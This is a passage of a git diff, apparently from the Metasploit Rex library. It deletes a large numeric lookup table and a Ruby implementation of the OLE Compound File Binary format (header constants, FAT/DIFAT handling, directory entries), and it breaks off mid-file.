[131328,131329,524546,524547,131336,131337,524554,524555,131344,131345,524562,524563,131352,131353,524570,524571,131360,131361,524578,524579,131368,131369,524586,524587,131376,131377,524594,524595,312,313,314,315,525673,524907,131712,132481,132481,131715,388,389,655750,655751,131464,131465,131776,131777,131777,131536,131537,131538,131539,131574,131575,358, 0x02018C]], - [SharedShift0, [262400,262401,524546,524547,262408,262409,524554,524555,262416,262417,524562,524563,262424,262425,524570,524571,262432,262433,524578,524579,262440,262441,524586,524587,262448,262449,524594,524595,312,313,314,315,525673,524907,262784,263553,263553,262787,388,389,786822,786823,262536,262537,262848,262849,262849,262608,262609,262610,262611,262646,262647,358, 0x04018C]], - [SharedShift0, [524544,524545,524546,524547,524552,524553,524554,524555,524560,524561,524562,524563,524568,524569,524570,524571,524576,524577,524578,524579,524584,524585,524586,524587,524592,524593,524594,524595,312,313,314,315,525673,524907,524928,525697,525697,524931,388,389,524678,524679,524680,524681,524992,524993,524993,524752,524753,524754,524755,524790,524791,358, 0x08018C]], - [SharedShift0, [65792,1048833,524546,524547,65800,1048841,524554,524555,65808,1048849,524562,524563,65816,1048857,524570,524571,65824,1048865,524578,524579,65832,1048873,524586,524587,65840,1048881,524594,524595,312,313,314,315,525673,524907,66176,1049985,1049985,1049219,388,389,590214,1573255,65928,1048969,66240,1049281,1049281,66000,1049041,66002,1049043,66038,1049079,358, 0x10018C]], - [SharedShift0, [131328,2097409,524546,524547,131336,2097417,524554,524555,131344,2097425,524562,524563,131352,2097433,524570,524571,131360,2097441,524578,524579,131368,2097449,524586,524587,131376,2097457,524594,524595,312,313,314,315,525673,524907,131712,2098561,2098561,2097795,388,389,655750,2621831,131464,2097545,131776,2097857,2097857,131536,2097617,131538,2097619,131574,2097655,358, 0x20018C]], - [SharedShift0, [262400,4194561,524546,524547,262408,4194569,524554,524555,262416,4194577,524562,524563,262424,4194585,524570,524571,262432,4194593,524578,524579,262440,4194601,524586,524587,262448,4194609,524594,524595,312,313,314,315,525673,524907,262784,4195713,4195713,4194947,388,389,786822,4718983,262536,4194697,262848,4195009,4195009,262608,4194769,262610,4194771,262646,4194807,358, 0x40018C]], - [SharedShift0, [524544,8388865,524546,524547,524552,8388873,524554,524555,524560,8388881,524562,524563,524568,8388889,524570,524571,524576,8388897,524578,524579,524584,8388905,524586,524587,524592,8388913,524594,524595,312,313,314,315,525673,524907,524928,8390017,8390017,8389251,388,389,524678,8913287,524680,8389001,524992,8389313,8389313,524752,8389073,524754,8389075,524790,8389111,358, 0x80018C]], -# 0xe0 - [SharedShift0, [65792,65793,65794,1048835,65800,65801,65802,1048843,65808,65809,65810,1048851,65816,65817,65818,1048859,65824,65825,65826,1048867,65832,65833,65834,1048875,65840,65841,65842,1048883,312,313,314,315,1049961,1049195,66176,66945,66945,66179,388,389,65926,1114503,65928,65929,66240,66241,66241,66000,66001,66002,66003,66038,328183, 0x01018C]], - [SharedShift0, [131328,131329,65794,1048835,131336,131337,65802,1048843,131344,131345,65810,1048851,131352,131353,65818,1048859,131360,131361,65826,1048867,131368,131369,65834,1048875,131376,131377,65842,1048883,312,313,314,315,1049961,1049195,131712,132481,132481,131715,388,389,196998,1180039,131464,131465,131776,131777,131777,131536,131537,131538,131539,66038,328183, 0x02018C]], - [SharedShift0, [262400,262401,65794,1048835,262408,262409,65802,1048843,262416,262417,65810,1048851,262424,262425,65818,1048859,262432,262433,65826,1048867,262440,262441,65834,1048875,262448,262449,65842,1048883,312,313,314,315,1049961,1049195,262784,263553,263553,262787,388,389,328070,1311111,262536,262537,262848,262849,262849,262608,262609,262610,262611,66038,328183, 0x04018C]], - [SharedShift0, [524544,524545,65794,1048835,524552,524553,65802,1048843,524560,524561,65810,1048851,524568,524569,65818,1048859,524576,524577,65826,1048867,524584,524585,65834,1048875,524592,524593,65842,1048883,312,313,314,315,1049961,1049195,524928,525697,525697,524931,388,389,590214,1573255,524680,524681,524992,524993,524993,524752,524753,524754,524755,66038,328183, 0x08018C]], - [SharedShift0, [65792,1048833,65794,1048835,65800,1048841,65802,1048843,65808,1048849,65810,1048851,65816,1048857,65818,1048859,65824,1048865,65826,1048867,65832,1048873,65834,1048875,65840,1048881,65842,1048883,312,313,314,315,1049961,1049195,66176,1049985,1049985,1049219,388,389,65926,1048967,65928,1048969,66240,1049281,1049281,66000,1049041,66002,1049043,66038,328183,358, 0x10018C]], - [SharedShift0, [131328,2097409,65794,1048835,131336,2097417,65802,1048843,131344,2097425,65810,1048851,131352,2097433,65818,1048859,131360,2097441,65826,1048867,131368,2097449,65834,1048875,131376,2097457,65842,1048883,312,313,314,315,1049961,1049195,131712,2098561,2098561,2097795,388,389,196998,3146119,131464,2097545,131776,2097857,2097857,131536,2097617,131538,2097619,66038,328183,358, 0x20018C]], - [SharedShift0, [262400,4194561,65794,1048835,262408,4194569,65802,1048843,262416,4194577,65810,1048851,262424,4194585,65818,1048859,262432,4194593,65826,1048867,262440,4194601,65834,1048875,262448,4194609,65842,1048883,312,313,314,315,1049961,1049195,262784,4195713,4195713,4194947,388,389,328070,5243271,262536,4194697,262848,4195009,4195009,262608,4194769,262610,4194771,66038,328183,358, 0x40018C]], - [SharedShift0, [524544,8388865,65794,1048835,524552,8388873,65802,1048843,524560,8388881,65810,1048851,524568,8388889,65818,1048859,524576,8388897,65826,1048867,524584,8388905,65834,1048875,524592,8388913,65842,1048883,312,313,314,315,1049961,1049195,524928,8390017,8390017,8389251,388,389,590214,9437575,524680,8389001,524992,8389313,8389313,524752,8389073,524754,8389075,66038,328183,358, 0x80018C]], - [SharedShift0, [65792,65793,131330,2097411,65800,65801,131338,2097419,65808,65809,131346,2097427,65816,65817,131354,2097435,65824,65825,131362,2097443,65832,65833,131370,2097451,65840,65841,131378,2097459,312,313,314,315,2098537,2097771,66176,66945,66945,66179,388,389,196998,2163079,65928,65929,66240,66241,66241,66000,66001,66002,66003,66038,328183,358, 0x01018C]], - [SharedShift0, [131328,131329,131330,2097411,131336,131337,131338,2097419,131344,131345,131346,2097427,131352,131353,131354,2097435,131360,131361,131362,2097443,131368,131369,131370,2097451,131376,131377,131378,2097459,312,313,314,315,2098537,2097771,131712,132481,132481,131715,388,389,131462,2228615,131464,131465,131776,131777,131777,131536,131537,131538,131539,66038,328183,358, 0x02018C]], - [SharedShift0, [262400,262401,131330,2097411,262408,262409,131338,2097419,262416,262417,131346,2097427,262424,262425,131354,2097435,262432,262433,131362,2097443,262440,262441,131370,2097451,262448,262449,131378,2097459,312,313,314,315,2098537,2097771,262784,263553,263553,262787,388,389,393606,2359687,262536,262537,262848,262849,262849,262608,262609,262610,262611,66038,328183,358, 0x04018C]], - [SharedShift0, [524544,524545,131330,2097411,524552,524553,131338,2097419,524560,524561,131346,2097427,524568,524569,131354,2097435,524576,524577,131362,2097443,524584,524585,131370,2097451,524592,524593,131378,2097459,312,313,314,315,2098537,2097771,524928,525697,525697,524931,388,389,655750,2621831,524680,524681,524992,524993,524993,524752,524753,524754,524755,66038,328183, 0x08018C]], - [SharedShift0, [65792,1048833,131330,2097411,65800,1048841,131338,2097419,65808,1048849,131346,2097427,65816,1048857,131354,2097435,65824,1048865,131362,2097443,65832,1048873,131370,2097451,65840,1048881,131378,2097459,312,313,314,315,2098537,2097771,66176,1049985,1049985,1049219,388,389,196998,3146119,65928,1048969,66240,1049281,1049281,66000,1049041,66002,1049043,66038,328183,358, 0x10018C]], - [SharedShift0, [131328,2097409,131330,2097411,131336,2097417,131338,2097419,131344,2097425,131346,2097427,131352,2097433,131354,2097435,131360,2097441,131362,2097443,131368,2097449,131370,2097451,131376,2097457,131378,2097459,312,313,314,315,2098537,2097771,131712,2098561,2098561,2097795,388,389,131462,2097543,131464,2097545,131776,2097857,2097857,131536,2097617,131538,2097619,66038,328183,358, 0x20018C]], - [SharedShift0, [262400,4194561,131330,2097411,262408,4194569,131338,2097419,262416,4194577,131346,2097427,262424,4194585,131354,2097435,262432,4194593,131362,2097443,262440,4194601,131370,2097451,262448,4194609,131378,2097459,312,313,314,315,2098537,2097771,262784,4195713,4195713,4194947,388,389,393606,6291847,262536,4194697,262848,4195009,4195009,262608,4194769,262610,4194771,66038,328183,358, 0x40018C]], - [SharedShift0, [524544,8388865,131330,2097411,524552,8388873,131338,2097419,524560,8388881,131346,2097427,524568,8388889,131354,2097435,524576,8388897,131362,2097443,524584,8388905,131370,2097451,524592,8388913,131378,2097459,312,313,314,315,2098537,2097771,524928,8390017,8390017,8389251,388,389,655750,10486151,524680,8389001,524992,8389313,8389313,524752,8389073,524754,8389075,66038,328183,358, 0x80018C]], -# 0xf0 - [SharedShift0, [65792,65793,262402,4194563,65800,65801,262410,4194571,65808,65809,262418,4194579,65816,65817,262426,4194587,65824,65825,262434,4194595,65832,65833,262442,4194603,65840,65841,262450,4194611,312,313,314,315,4195689,4194923,66176,66945,66945,66179,388,389,328070,4260231,65928,65929,1049087,358]], - [SharedShift0, [131328,131329,262402,4194563,131336,131337,262410,4194571,131344,131345,262418,4194579,131352,131353,262426,4194587,131360,131361,262434,4194595,131368,131369,262442,4194603,131376,131377,262450,4194611,312,313,314,315,4195689,4194923,131712,132481,132481,131715,388,389,393606,4325767,131464,131465,1049087,358]], - [SharedShift0, [262400,262401,262402,4194563,262408,262409,262410,4194571,262416,262417,262418,4194579,262424,262425,262426,4194587,262432,262433,262434,4194595,262440,262441,262442,4194603,262448,262449,262450,4194611,312,313,314,315,4195689,4194923,262784,263553,263553,262787,388,389,262534,4456839,262536,262537,1049087,358]], - [SharedShift0, [524544,524545,262402,4194563,524552,524553,262410,4194571,524560,524561,262418,4194579,524568,524569,262426,4194587,524576,524577,262434,4194595,524584,524585,262442,4194603,524592,524593,262450,4194611,312,313,314,315,4195689,4194923,524928,525697,525697,524931,388,389,786822,4718983,524680,524681,1049087,358]], - [SharedShift0, [65792,1048833,262402,4194563,65800,1048841,262410,4194571,65808,1048849,262418,4194579,65816,1048857,262426,4194587,65824,1048865,262434,4194595,65832,1048873,262442,4194603,65840,1048881,262450,4194611,312,313,314,315,4195689,4194923,66176,1049985,1049985,1049219,388,389,328070,5243271,65928,1048969,1049087,358]], - [SharedShift0, [131328,2097409,262402,4194563,131336,2097417,262410,4194571,131344,2097425,262418,4194579,131352,2097433,262426,4194587,131360,2097441,262434,4194595,131368,2097449,262442,4194603,131376,2097457,262450,4194611,312,313,314,315,4195689,4194923,131712,2098561,2098561,2097795,388,389,393606,6291847,131464,2097545,1049087,358]], - [SharedShift0, [262400,4194561,262402,4194563,262408,4194569,262410,4194571,262416,4194577,262418,4194579,262424,4194585,262426,4194587,262432,4194593,262434,4194595,262440,4194601,262442,4194603,262448,4194609,262450,4194611,312,313,314,315,4195689,4194923,262784,4195713,4195713,4194947,388,389,262534,4194695,262536,4194697,1049087,358]], - [SharedShift0, [524544,8388865,262402,4194563,524552,8388873,262410,4194571,524560,8388881,262418,4194579,524568,8388889,262426,4194587,524576,8388897,262434,4194595,524584,8388905,262442,4194603,524592,8388913,262450,4194611,312,313,314,315,4195689,4194923,524928,8390017,8390017,8389251,388,389,786822,12583303,524680,8389001,1049087,358]], - [SharedShift0, [65792,65793,524546,8388867,65800,65801,524554,8388875,65808,65809,524562,8388883,65816,65817,524570,8388891,65824,65825,524578,8388899,65832,65833,524586,8388907,65840,65841,524594,8388915,312,313,314,315,8389993,8389227,640,66945,1409,643,388,389,590214,8454535,65928,65929,66240,66241,66241,66000,66001,66002,66003,358]], - [SharedShift0, [131328,131329,524546,8388867,131336,131337,524554,8388875,131344,131345,524562,8388883,131352,131353,524570,8388891,131360,131361,524578,8388899,131368,131369,524586,8388907,131376,131377,524594,8388915,312,313,314,315,8389993,8389227,640,132481,1409,643,388,389,655750,8520071,131464,131465,131776,131777,131777,131536,131537,131538,131539,358]], - [SharedShift0, [262400,262401,524546,8388867,262408,262409,524554,8388875,262416,262417,524562,8388883,262424,262425,524570,8388891,262432,262433,524578,8388899,262440,262441,524586,8388907,262448,262449,524594,8388915,312,313,314,315,8389993,8389227,640,263553,1409,643,388,389,786822,8651143,262536,262537,262848,262849,262849,262608,262609,262610,262611,358]], - [SharedShift0, [524544,524545,524546,8388867,524552,524553,524554,8388875,524560,524561,524562,8388883,524568,524569,524570,8388891,524576,524577,524578,8388899,524584,524585,524586,8388907,524592,524593,524594,8388915,312,313,314,315,8389993,8389227,640,525697,1409,643,388,389,524678,8913287,524680,524681,524992,524993,524993,524752,524753,524754,524755,358]], - [SharedShift0, [65792,1048833,524546,8388867,65800,1048841,524554,8388875,65808,1048849,524562,8388883,65816,1048857,524570,8388891,65824,1048865,524578,8388899,65832,1048873,524586,8388907,65840,1048881,524594,8388915,312,313,314,315,8389993,8389227,640,1049985,1409,643,388,389,590214,9437575,65928,1048969,66240,1049281,1049281,66000,1049041,66002,1049043,358]], - [SharedShift0, [131328,2097409,524546,8388867,131336,2097417,524554,8388875,131344,2097425,524562,8388883,131352,2097433,524570,8388891,131360,2097441,524578,8388899,131368,2097449,524586,8388907,131376,2097457,524594,8388915,312,313,314,315,8389993,8389227,640,2098561,1409,643,388,389,655750,10486151,131464,2097545,131776,2097857,2097857,131536,2097617,131538,2097619,358]], - [SharedShift0, [262400,4194561,524546,8388867,262408,4194569,524554,8388875,262416,4194577,524562,8388883,262424,4194585,524570,8388891,262432,4194593,524578,8388899,262440,4194601,524586,8388907,262448,4194609,524594,8388915,312,313,314,315,8389993,8389227,640,4195713,1409,643,388,389,786822,12583303,262536,4194697,262848,4195009,4195009,262608,4194769,262610,4194771,358]], - [SharedShift0, [524544,8388865,524546,8388867,524552,8388873,524554,8388875,524560,8388881,524562,8388883,524568,8388889,524570,8388891,524576,8388897,524578,8388899,524584,8388905,524586,8388907,524592,8388913,524594,8388915,312,313,314,315,8389993,8389227,640,8390017,1409,643,388,389,524678,8388999,524680,8389001,524992,8389313,8389313,524752,8389073,524754,8389075,358,0x0201e0, 0x0201e1, 0x0201e2, 0x1e3, 0x1eb, 0x170, 0x171, 0x172, 0x173, 0x174, 0x175, 0x176, 0x177, 0x178, 0x179, 0x17a, 0x17b, 0x17c, 0x17d, 0x17e, 0x17f]], -# 0x100 - [[1048582,1048590,1048598,1048606,65575,65583,65591,65599,65600,131137,262210,524355,1048644,2097221,4194374,8388679,65608,131145,262218,524363,1048652,2097229,4194382,8388687,1048656,1048657,1048658,1048659,1048660,1048661,1048662,1048663,1114200,1179737,1310810,1572955,1048668,3145821,5242974,9437279,1048672,144,196753,327826,589971,1114260,2162837,4259990,8454295,65688,262297,155,1048732,65695,65750,245,248,249,252,253]], - ] -end - -end -end diff --git a/lib/rex/ole.rb b/lib/rex/ole.rb deleted file mode 100644 index 38f6f4924a..0000000000 --- a/lib/rex/ole.rb +++ /dev/null @@ -1,202 +0,0 @@ -# -*- coding: binary -*- - -## -# Rex::OLE - an OLE implementation -# written in 2010 by Joshua J. Drake -# -# License: MSF_LICENSE -# -# -# This module implements Object-Linking-and-Embedding otherwise known as -# Compound File Binary File Format or Windows Compound Binary File Format. -# OLE is the container format for modern Excel, Word, PowerPoint, and many -# other file formats. -# -# NOTE: This implementation is almost fully compliant with [MS-CFB] v1.1 -# -# -# SUPPORTS: -# -# 1. R/W v3 OLE files (v4 may work, but wasn't tested) -# 2. RO double-indirect fat sectors -# 3. RO fat sectors (including those in double-indirect parts) -# 4. WO support for less than 109 fat sectors :) -# 5. R/W minifat sectors -# 6. R/W ministream -# 7. R/W normal streams -# 8. R/W substorages (including nesting) -# 9. full directory support (hierarchal and flattened access) -# 10. big and little endian files (although only little endian was tested) -# 11. PropertySet streams (except .to_s) -# -# -# TODO (in order of priority): -# -# 1. support deleting storages/streams -# 2. create copyto and other typical interface functions -# 3. support writing DIF sectors > 109 -# - may lead to allocating more fat sectors :-/ -# 4. properly support mode params for open_stream/open_storage/etc -# 5. optimize to prevent unecessary loading/writing -# 6. support non-committal editing (open, change, close w/o save) -# 7. support timestamps -# 8. provide interface to change paramters (endian, etc) -# -# -# TO INVESTIGATE: -# -# 1. moving storage interface functions into something used by both -# the main storage and substorages (unifying the code) (mixin?) -# 2. eliminating flattening the directory prior to writing it out -# -## - -require 'rex' - -module Rex -module OLE - -# misc util -# NOTE: the v1.1 spec says that everything "MUST be stored in little-endian byte order" -BIG_ENDIAN = 0xfeff -LITTLE_ENDIAN = 0xfffe -# defines Util class -require 'rex/ole/util' -require 'rex/ole/clsid' - - -# constants for dealing with the header -HDR_SZ = 512 -# signatures -SIG = "\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1" -SIG_BETA = "\x0e\x11\xfc\x0d\xd0\xcf\x11\xe0" -# defines Header class -require 'rex/ole/header' - - -# sector types -SECT_MAX = 0xfffffffa -SECT_DIF = 0xfffffffc -SECT_FAT = 0xfffffffd -SECT_END = 0xfffffffe -SECT_FREE = 0xffffffff -# defines DIFAT class -require 'rex/ole/difat' -# defines FAT class -require 'rex/ole/fat' -# defines MiniFAT class -require 'rex/ole/minifat' - - -# directory entries -DIRENTRY_SZ = 128 -DIR_NOSTREAM = 0xffffffff -DIR_MAXREGSID = 0xfffffffa -# defines Directory class -require 'rex/ole/directory' - -# types -STGTY_INVALID = 0 -STGTY_STORAGE = 1 -STGTY_STREAM = 2 -STGTY_LOCKBYTES = 3 -STGTY_PROPERTY = 4 -STGTY_ROOT = 5 -# for red/black tree -COLOR_RED = 0 -COLOR_BLACK = 1 -# defines DirEntry base class -require 'rex/ole/direntry' - - -# constants for storages -STGM_READ = 0 -STGM_WRITE = 1 -STGM_READWRITE = 2 -# defines Storage class -require 'rex/ole/storage' -# defines SubStorage class -require 'rex/ole/substorage' -# defines Stream class -require 'rex/ole/stream' - - -# constants for property sets -# PropertyIds -PID_DICTIONARY = 0x00000000 -PID_CODEPAGE = 0x00000001 -PID_LOCALE = 0x80000000 -PID_BEHAVIOR = 0x80000003 -# Well-known PropertyIds -PIDSI_TITLE = 0x02 -PIDSI_SUBJECT = 0x03 -PIDSI_AUTHOR = 0x04 -PIDSI_KEYWORDS = 0x05 -PIDSI_COMMENTS = 0x06 -PIDSI_TEMPLATE = 0x07 -PIDSI_LASTAUTHOR = 0x08 -PIDSI_REVNUMBER = 0x09 -PIDSI_EDITTIME = 0x0a -PIDSI_LASTPRINTED = 0x0b -PIDSI_CREATE_DTM = 0x0c -PIDSI_LASTSAVE_DTM = 0x0d -PIDSI_PAGECOUNT = 0x0e -PIDSI_WORDCOUNT = 0x0f -PIDSI_CHARCOUNT = 0x10 -PIDSI_THUMBNAIL = 0x11 -PIDSI_APPNAME = 0x12 -PIDSI_DOC_SECURITY = 0x13 -# PropertyTypes -VT_EMPTY = 0x00 -VT_NULL = 0x01 -VT_I2 = 0x02 -VT_I4 = 0x03 -VT_R4 = 0x04 -VT_R8 = 0x05 -VT_CY = 0x06 -VT_DATE = 0x07 -VT_BSTR = 0x08 -VT_ERROR = 0x0a -VT_BOOL = 0x0b -VT_VARIANT = 0x0c # used with VT_VECTOR -# 0xd -VT_DECIMAL = 0x0e -# 0xf -VT_I1 = 0x10 -VT_UI1 = 0x11 -VT_UI2 = 0x12 -VT_UI4 = 0x13 -VT_I8 = 0x14 -VT_UI8 = 0x15 -VT_INT = 0x16 -VT_UINT = 0x17 -VT_LPSTR = 0x1e -VT_LPWSTR = 0x1f -# 0x20-0x3f -VT_FILETIME = 0x40 -VT_BLOB = 0x41 -VT_STREAM = 0x42 -VT_STORAGE = 0x43 -VT_STREAMED_OBJ = 0x44 -VT_STORED_OBJ = 0x45 -VT_BLOB_OBJ = 0x46 -VT_CF = 0x47 # Clipboard Format -VT_CLSID = 0x48 -VT_VERSIONED_STREAM = 0x49 -# Flags -VT_VECTOR = 0x1000 -VT_ARRAY = 0x2000 # Requires OLE version >= 1 -# Format IDs -FMTID_SummaryInformation = "\xe0\x85\x9f\xf2\xf9\x4f\x68\x10\xab\x91\x08\x00\x2b\x27\xb3\xd9" -FMTID_DocSummaryInformation = "\x02\xd5\xcd\xd5\x9c\x2e\x1b\x10\x93\x97\x08\x00\x2b\x2c\xf9\xae" -FMTID_UserDefinedProperties = "\x05\xd5\xcd\xd5\x9c\x2e\x1b\x10\x93\x97\x08\x00\x2b\x2c\xf9\xae" -FMTID_GlobalInfo = "\x00\x6f\x61\x56\x54\xc1\xce\x11\x85\x53\x00\xaa\x00\xa1\xf9\x5b" -FMTID_ImageContents = "\x00\x64\x61\x56\x54\xc1\xce\x11\x85\x53\x00\xaa\x00\xa1\xf9\x5b" -FMTID_ImageInfo = "\x00\x65\x61\x56\x54\xc1\xce\x11\x85\x53\x00\xaa\x00\xa1\xf9\x5b" -FMTID_PropertyBag = "\x01\x18\x00\x20\xe6\x5d\xd1\x11\x8e\x38\x00\xc0\x4f\xb9\x38\x6d" -# defines PropertySet class -require 'rex/ole/propset' - - -end -end diff --git a/lib/rex/ole/clsid.rb b/lib/rex/ole/clsid.rb deleted file mode 100644 index f8180226b2..0000000000 --- a/lib/rex/ole/clsid.rb +++ /dev/null @@ -1,44 +0,0 @@ -# -*- coding: binary -*- - -## -# Rex::OLE - an OLE implementation -# written in 2010 by Joshua J. Drake -## - - -module Rex -module OLE - -class CLSID - - def initialize(buf=nil) - @buf = buf - @buf ||= "\x00" * 16 - end - - def pack - @buf - end - - def to_s - ret = "" - ret << "%08x" % Util.get32(@buf, 0) - ret << "-" - ret << "%04x" % Util.get16(@buf, 4) - ret << "-" - ret << "%04x" % Util.get16(@buf, 6) - ret << "-" - idx = 0 - last8 = @buf[8,8] - last8.unpack('C*').each { |byte| - ret << [byte].pack('C').unpack('H*')[0] - ret << "-" if (idx == 1) - idx += 1 - } - ret - end - -end - -end -end diff --git a/lib/rex/ole/difat.rb b/lib/rex/ole/difat.rb deleted file mode 100644 index f9adae5e23..0000000000 --- a/lib/rex/ole/difat.rb +++ /dev/null @@ -1,138 +0,0 @@ -# -*- coding: binary -*- - -## -# Rex::OLE - an OLE implementation -# written in 2010 by Joshua J. Drake -## - -module Rex -module OLE - -class DIFAT - - def initialize stg - @stg = stg - @entries = [] - end - - # - # convenience access to entries - # - def []=(idx,expr) - @entries[idx] = expr - end - - def [](idx) - @entries[idx] - end - - def +(expr) - @entries += expr - self - end - - def <<(expr) - @entries << expr - end - - def length - @entries.length - end - - def slice!(start,stop) - @entries.slice!(start,stop) - end - - def reset - @entries = [] - end - - def each - @entries.each { |el| - yield el - } - end - - # - # woop - # - def to_s - ret = "{ " - @entries.each { |el| - ret << ", " if (ret.length > 2) - case el - when SECT_END - ret << "END" - when SECT_DIF - ret << "DIF" - when SECT_FAT - ret << "FAT" - when SECT_FREE - ret << "FREE" - else - ret << "0x%x" % el - end - } - ret << " }" - ret - end - - # - # low-level functions - # - def read - @entries = [] - - # start with the header part - @entries += @stg.header._sectFat - - # double indirect fat - sect = @stg.header._sectDifStart - while (sect != SECT_END) - if (@entries.include?(sect)) - raise RuntimeError, 'Sector chain loop detected (0x%08x)' % sect - end - - @entries << sect - buf = @stg.read_sector(sect, @stg.header.sector_size) - - # the last sect ptr in the block becomes the next entry - sect = Util.get32(buf, ((@stg.header.idx_per_sect)-1) * 4) - end - - # don't need these free ones, but it doesn't hurt to keep them. - #@difat.delete(SECT_FREE) - end - - def write - len = @entries.length - first109 = @entries.dup - - rest = nil - if (len > 109) - rest = first109.slice!(109,len) - end - - @stg.header._sectFat = [] - @stg.header._sectFat += first109 - if (len < 109) - need = 109 - len - need.times { - @stg.header._sectFat << SECT_FREE - } - end - - if (rest and rest.length > 0) - raise RuntimeError, 'TODO: support writing DIF properly!' - # may require adding more fat sectors :-/ - #@stg.header._csectDif = rest.length - #@stg.header._sectDifStart = idx - end - - @stg.header._csectFat = len - end - -end - -end -end diff --git a/lib/rex/ole/directory.rb b/lib/rex/ole/directory.rb deleted file mode 100644 index 951bd0efdf..0000000000 --- a/lib/rex/ole/directory.rb +++ /dev/null @@ -1,228 +0,0 @@ -# -*- coding: binary -*- - -## -# Rex::OLE - an OLE implementation -# written in 2010 by Joshua J. Drake -## - -module Rex -module OLE - -require 'rex/ole/direntry' - -# -# This class serves as the root directory entry in addition to -# an abstraction around the concept of a directory as a whole. -# -class Directory < DirEntry - - # XXX: num_entries is not maintained once a stream/storage is added! - attr_accessor :num_entries - - def initialize(stg) - super - - @num_entries = 1 - end - - - # woop, recursive each - def yield_entries(de, &block) - block.call(de) - de.each { |el| - yield_entries(el, &block) - } - end - def each_entry(&block) - yield_entries(self, &block) - end - - - def set_ministream_params(start, size) - @_sectStart = start - @_ulSize = size - end - - def link_item(parent, child) - # set sid, advance count - child.sid = @num_entries - @num_entries += 1 - - # link item to siblings and/or parent - if (parent._sidChild == DIR_NOSTREAM) - parent._sidChild = child.sid - dlog("Linking #{child.name} as THE child of #{parent.name} as sid #{child.sid}", 'rex', LEV_3) - else - sib = nil - parent.each { |el| - if (el._sidLeftSib == DIR_NOSTREAM) - sib = el - el._sidLeftSib = child.sid - dlog("Linking #{child.name} as the LEFT sibling of #{sib.name} as sid #{child.sid}", 'rex', LEV_3) - break - end - if (el._sidRightSib == DIR_NOSTREAM) - sib = el - el._sidRightSib = child.sid - dlog("Linking #{child.name} as the RIGHT sibling of #{sib.name} as sid #{child.sid}", 'rex', LEV_3) - break - end - } - if (not sib) - raise RuntimeError, 'Unable to find a sibling to link to in the directory' - end - end - parent << child - end - - - # - # low-level functions - # - def from_s(sid, buf) - super - - if (@_sidRightSib != DIR_NOSTREAM) - raise RuntimeError, 'Root Entry is invalid! (has right sibling)' - end - if (@_sidLeftSib != DIR_NOSTREAM) - raise RuntimeError, 'Root Entry is invalid! (has left sibling)' - end - end - - def read - @children = [] - visited = [] - entries = [] - root_node = nil - sect = @stg.header._sectDirStart - while (sect != SECT_END) - - if (visited.include?(sect)) - raise RuntimeError, 'Sector chain loop detected (0x%08x)' % sect - end - visited << sect - - sbuf = @stg.read_sector(sect, @stg.header.sector_size) - while (sbuf.length >= DIRENTRY_SZ) - debuf = sbuf.slice!(0, DIRENTRY_SZ) - - type = Util.get8(debuf, 0x42) - case type - when STGTY_ROOT - if (entries.length != 0) - raise RuntimeError, 'Root Entry found, but not first encountered!' - end - if (root_node) - raise RuntimeError, 'Multiple root directory sectors detected (0x%08x)' % sect - end - de = self - root_node = de - - when STGTY_STORAGE - de = SubStorage.new @stg - - when STGTY_STREAM - de = Stream.new @stg - - when STGTY_INVALID - # skip invalid entries - next - - else - raise RuntimeError, 'Unsupported directory entry type (0x%02x)' % type - end - - # read content - de.from_s(entries.length, debuf) - entries << de - end - sect = @stg.next_sector(sect) - end - - @num_entries = entries.length - - # sort out the tree structure, starting with the root - if (@_sidChild != DIR_NOSTREAM) - populate_children(entries, root_node, @_sidChild) - end - end - - - # recursively add entries to their proper parents :) - def populate_children(entries, parent, sid) - node = entries[sid] - dlog("populate_children(entries, \"#{parent.name}\", #{sid}) - node: #{node.name}", 'rex', LEV_3) - parent << node - if (node.type == STGTY_STORAGE) and (node._sidChild != DIR_NOSTREAM) - populate_children(entries, node, node._sidChild) - end - if (node._sidLeftSib != DIR_NOSTREAM) - populate_children(entries, parent, node._sidLeftSib) - end - if (node._sidRightSib != DIR_NOSTREAM) - populate_children(entries, parent, node._sidRightSib) - end - end - - # NOTE: this may not be necessary if we were to use each_entry - def flatten_tree(entries, parent) - entries << parent - parent.each { |el| - flatten_tree(entries, el) - } - end - - - def write - # flatten the directory again - entries = [] - flatten_tree(entries, self) - dlog("flattened tree has #{entries.length} entries...", 'rex', LEV_3) - - # count directory sectors - ds_count = entries.length / 4 - if ((entries.length % 4) > 0) - # one more sector to hold the rest - ds_count += 1 - end - - # put the root entry first - sbuf = self.pack - - # add the rest - prev_sect = nil - dir_start = nil - entries.each { |de| - # we already got the root entry, no more! - next if (de.type == STGTY_ROOT) - - dir = de.pack - dlog("writing dir entry #{de.name}", 'rex', LEV_3) - sbuf << dir - - if (sbuf.length == @stg.header.sector_size) - # we have a full sector, add it! - sect = @stg.write_sector(sbuf, nil, prev_sect) - prev_sect = sect - dir_start ||= sect - # reset.. - sbuf = "" - end - } - - # still a partial sector left? - if (sbuf.length > 0) - # add it! (NOTE: it will get padded with nul bytes if its not sector sized) - sect = @stg.write_sector(sbuf, nil, prev_sect) - prev_sect = sect - dir_start ||= sect - end - - @stg.header._sectDirStart = dir_start - end - -end - -end -end diff --git a/lib/rex/ole/direntry.rb b/lib/rex/ole/direntry.rb deleted file mode 100644 index 1e2984562f..0000000000 --- a/lib/rex/ole/direntry.rb +++ /dev/null @@ -1,237 +0,0 @@ -# -*- coding: binary -*- - -## -# Rex::OLE - an OLE implementation -# written in 2010 by Joshua J. Drake -## - -module Rex -module OLE - -# -# This class serves as the base class for SubStorage, Stream, and Directory head -# -class DirEntry - - attr_accessor :sid - attr_accessor :_sidChild, :_sidLeftSib, :_sidRightSib - - def initialize(stg) - @stg = stg - - # default to a root entry :) - @sid = 0 - @_ab = "Root Entry" - @_cb = nil # NOTE: this is not used until pack - @_mse = STGTY_ROOT - @_bflags = 0 - @_sidLeftSib = SECT_FREE - @_sidRightSib = SECT_FREE - @_sidChild = SECT_FREE - @_clsId = CLSID.new - @_dwUserFlags = 0 - @_ctime = "\x00" * 8 - @_mtime = "\x00" * 8 - @_sectStart = SECT_END - @_ulSize = 0 - - # keep track of logical children (in a tree) - @children = [] - end - - - def length - @_ulSize - end - - def <<(expr) - @children << expr - end - - def each - @children.each { |de| - yield de - } - end - - - def type - @_mse - end - def type=(arg) - @_mse = arg - end - - def name - @_ab - end - def name=(arg) - # XXX: validate? - @_ab = arg - end - - def start_sector - @_sectStart - end - def start_sector=(expr) - @_sectStart = expr - end - - - # NOTE: this will not look at children - def find_stream_by_name_and_type(name, type) - @children.each { |de| - next if (de.type != type) - - if (de.name == name) - return de - end - } - nil - end - - - def 